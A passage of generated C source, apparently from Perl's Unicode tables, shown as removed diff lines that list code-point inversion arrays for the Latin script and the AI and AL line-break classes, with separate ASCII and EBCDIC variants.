0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2B9, - 0x2E0, - 0x2E5, - 0x363, - 0x370, - 0x485, - 0x487, - 0x951, - 0x953, - 0x10FB, - 0x10FC, - 0x1D00, - 0x1D26, - 0x1D2C, - 0x1D5D, - 0x1D62, - 0x1D66, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1DBF, - 0x1E00, - 0x1F00, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20F0, - 0x20F1, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C60, - 0x2C80, - 0xA722, - 0xA788, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA800, - 0xA92E, - 0xA92F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB65, - 0xFB00, - 0xFB07, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LATN_invlist[] = { /* for EBCDIC 037 */ - 97, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2B9, - 0x2E0, - 0x2E5, - 0x363, - 0x370, - 0x485, - 0x487, - 0x951, - 0x953, - 0x10FB, - 0x10FC, - 0x1D00, - 0x1D26, - 0x1D2C, - 0x1D5D, - 0x1D62, - 0x1D66, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1DBF, - 0x1E00, - 0x1F00, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20F0, - 0x20F1, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C60, - 0x2C80, - 0xA722, - 0xA788, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA800, - 0xA92E, - 0xA92F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB65, - 0xFB00, - 0xFB07, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__AI_invlist[] = { /* for ASCII/Latin1 */ - 219, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA7, - 0xA9, - 0xAA, - 0xAB, - 0xB2, - 0xB4, - 0xB6, - 0xBB, - 0xBC, - 0xBF, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C7, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2015, - 0x2017, - 0x2020, - 0x2022, - 0x203B, - 0x203C, - 0x2074, - 0x2075, - 0x207F, - 0x2080, - 0x2081, - 0x2085, - 0x2105, - 0x2106, - 0x2113, - 0x2114, - 0x2121, - 0x2123, - 0x212B, - 0x212C, - 0x2154, - 0x2156, - 0x215B, - 0x215C, - 0x215E, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x2190, - 0x219A, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2212, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x2312, - 0x2313, - 0x2460, - 0x24FF, - 0x2500, - 0x254C, - 0x2550, - 0x2575, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 0x25E6, - 0x25EF, - 0x25F0, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x2616, - 0x2618, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x2668, - 0x2669, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x269E, - 0x26A0, - 0x26C9, - 0x26CD, - 0x26D2, - 0x26D3, - 0x26D5, - 0x26D8, - 0x26DA, - 0x26DC, - 0x26DD, - 0x26DF, - 0x26E3, - 0x26E4, - 0x26E8, - 0x26EA, - 0x26EB, - 0x26F1, - 0x26F6, - 0x26F7, - 0x26FB, - 0x26FD, - 0x2757, - 0x2758, - 0x2776, - 0x2794, - 0x2B55, - 0x2B5A, - 0x3248, - 0x3250, - 0xFFFD, - 0xFFFE, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12E, - 0x1F130, - 0x1F16A, - 0x1F170, - 0x1F1AD -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__AI_invlist[] = { /* for EBCDIC 1047 */ - 225, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xB3, - 0xB4, - 0xB5, - 0xBA, - 0xBB, - 0xBC, - 0xBF, - 0xC0, - 0xDA, - 0xDB, - 0xE1, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x2C7, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2015, - 0x2017, - 0x2020, - 0x2022, - 0x203B, - 0x203C, - 0x2074, - 0x2075, - 0x207F, - 0x2080, - 0x2081, - 0x2085, - 0x2105, - 0x2106, - 0x2113, - 0x2114, - 0x2121, - 0x2123, - 0x212B, - 0x212C, - 0x2154, - 0x2156, - 0x215B, - 0x215C, - 0x215E, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x2190, - 0x219A, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2212, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x2312, - 0x2313, - 0x2460, - 0x24FF, - 0x2500, - 0x254C, - 0x2550, - 0x2575, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 0x25E6, - 0x25EF, - 0x25F0, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x2616, - 0x2618, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x2668, - 0x2669, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x269E, - 0x26A0, - 0x26C9, - 0x26CD, - 0x26D2, - 0x26D3, - 0x26D5, - 0x26D8, - 0x26DA, - 0x26DC, - 0x26DD, - 0x26DF, - 0x26E3, - 0x26E4, - 0x26E8, - 0x26EA, - 0x26EB, - 0x26F1, - 0x26F6, - 0x26F7, - 0x26FB, - 0x26FD, - 0x2757, - 0x2758, - 0x2776, - 0x2794, - 0x2B55, - 0x2B5A, - 0x3248, - 0x3250, - 0xFFFD, - 0xFFFE, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12E, - 0x1F130, - 0x1F16A, - 0x1F170, - 0x1F1AD -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__AI_invlist[] = { /* for EBCDIC 037 */ - 225, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xB3, - 0xB4, - 0xB5, - 0xBA, - 0xBD, - 0xBE, - 0xBF, - 0xC0, - 0xDA, - 0xDB, - 0xE1, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x2C7, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2015, - 0x2017, - 0x2020, - 0x2022, - 0x203B, - 0x203C, - 0x2074, - 0x2075, - 0x207F, - 0x2080, - 0x2081, - 0x2085, - 0x2105, - 0x2106, - 0x2113, - 0x2114, - 0x2121, - 0x2123, - 0x212B, - 0x212C, - 0x2154, - 0x2156, - 0x215B, - 0x215C, - 0x215E, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x2190, - 0x219A, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2212, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x2312, - 0x2313, - 0x2460, - 0x24FF, - 0x2500, - 0x254C, - 0x2550, - 0x2575, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 0x25E6, - 0x25EF, - 0x25F0, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x2616, - 0x2618, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x2668, - 0x2669, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x269E, - 0x26A0, - 0x26C9, - 0x26CD, - 0x26D2, - 0x26D3, - 0x26D5, - 0x26D8, - 0x26DA, - 0x26DC, - 0x26DD, - 0x26DF, - 0x26E3, - 0x26E4, - 0x26E8, - 0x26EA, - 0x26EB, - 0x26F1, - 0x26F6, - 0x26F7, - 0x26FB, - 0x26FD, - 0x2757, - 0x2758, - 0x2776, - 0x2794, - 0x2B55, - 0x2B5A, - 0x3248, - 0x3250, - 0xFFFD, - 0xFFFE, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12E, - 0x1F130, - 0x1F16A, - 0x1F170, - 0x1F1AD -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__AL_invlist[] = { /* for ASCII/Latin1 */ - 1443, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x23, - 0x24, - 0x26, - 0x27, - 0x2A, - 0x2B, - 0x3C, - 0x3F, - 0x40, - 0x5B, - 0x5E, - 0x7B, - 0x7E, - 0x7F, - 0xA6, - 0xA7, - 0xA9, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xB0, - 0xB5, - 0xB6, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C7, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2DF, - 0x2E0, - 0x300, - 0x370, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x483, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x58D, - 0x58F, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5F3, - 0x5F5, - 0x600, - 0x609, - 0x60E, - 0x610, - 0x620, - 0x64B, - 0x66D, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x70E, - 0x70F, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F8, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x830, - 0x83F, - 0x840, - 0x859, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x970, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9F4, - 0x9F9, - 0x9FA, - 0x9FB, - 0x9FC, - 0x9FE, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF0, - 0xAF1, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB70, - 0xB78, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xBF0, - 0xBF9, - 0xBFA, - 0xBFB, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC78, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD50, - 0xD54, - 0xD57, - 0xD58, - 0xD62, - 0xD70, - 0xD79, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDF4, - 0xDF5, - 0xE4F, - 0xE50, - 0xF00, - 0xF01, - 0xF05, - 0xF06, - 0xF13, - 0xF14, - 0xF15, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF34, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0xFC0, - 0xFC6, - 0xFC7, - 0xFCD, - 0xFCE, - 0xFD0, - 0xFD4, - 0xFD9, - 0x104C, - 0x1050, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1100, - 0x1200, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1360, - 0x1361, - 0x1362, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x17D9, - 0x17DA, - 0x17F0, - 0x17FA, - 0x1800, - 0x1802, - 0x1807, - 0x1808, - 0x180A, - 0x180B, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1940, - 0x1941, - 0x19E0, - 0x1A17, - 0x1A1E, - 0x1A20, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B5C, - 0x1B5D, - 0x1B61, - 0x1B6B, - 0x1B74, - 0x1B7D, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BFC, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x1FFE, - 0x1FFF, - 0x2017, - 0x2018, - 0x2022, - 0x2024, - 0x2038, - 0x2039, - 0x203E, - 0x2044, - 0x204A, - 0x2056, - 0x2057, - 0x2058, - 0x205C, - 0x205D, - 0x2061, - 0x2065, - 0x2070, - 0x2072, - 0x2075, - 0x207D, - 0x2080, - 0x2081, - 0x2085, - 0x208D, - 0x2090, - 0x209D, - 0x2100, - 0x2103, - 0x2104, - 0x2105, - 0x2106, - 0x2109, - 0x210A, - 0x2113, - 0x2114, - 0x2116, - 0x2117, - 0x2121, - 0x2123, - 0x212B, - 0x212C, - 0x2154, - 0x2156, - 0x215B, - 0x215C, - 0x215E, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x218C, - 0x219A, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2214, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x22EF, - 0x22F0, - 0x2308, - 0x230C, - 0x2312, - 0x2313, - 0x231A, - 0x231C, - 0x2329, - 0x232B, - 0x23F0, - 0x23F4, - 0x2427, - 0x2440, - 0x244B, - 0x24FF, - 0x2500, - 0x254C, - 0x2550, - 0x2575, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 0x25E6, - 0x25EF, - 0x25F0, - 0x2600, - 0x2604, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x2614, - 0x2619, - 0x261A, - 0x2620, - 0x2639, - 0x263C, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x267F, - 0x2680, - 0x269E, - 0x26A0, - 0x26BD, - 0x26CE, - 0x26CF, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x2705, - 0x2708, - 0x270E, - 0x2757, - 0x2758, - 0x275B, - 0x2761, - 0x2762, - 0x2765, - 0x2768, - 0x2794, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2B55, - 0x2B5A, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2CFD, - 0x2CFE, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E16, - 0x2E17, - 0x2E1A, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2F, - 0x2E30, - 0x2E32, - 0x2E33, - 0x2E35, - 0x2E3A, - 0x2E3F, - 0x2E40, - 0x4DC0, - 0x4E00, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F3, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA82C, - 0xA830, - 0xA838, - 0xA839, - 0xA83A, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA95F, - 0xA960, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9C7, - 0xA9CA, - 0xA9CE, - 0xA9CF, - 0xA9D0, - 0xA9DE, - 0xA9E0, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA5C, - 0xAA5D, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABE3, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB29, - 0xFB2A, - 0xFB50, - 0xFBC2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFDFD, - 0xFDFE, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFFE8, - 0xFFEF, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E1, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10858, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 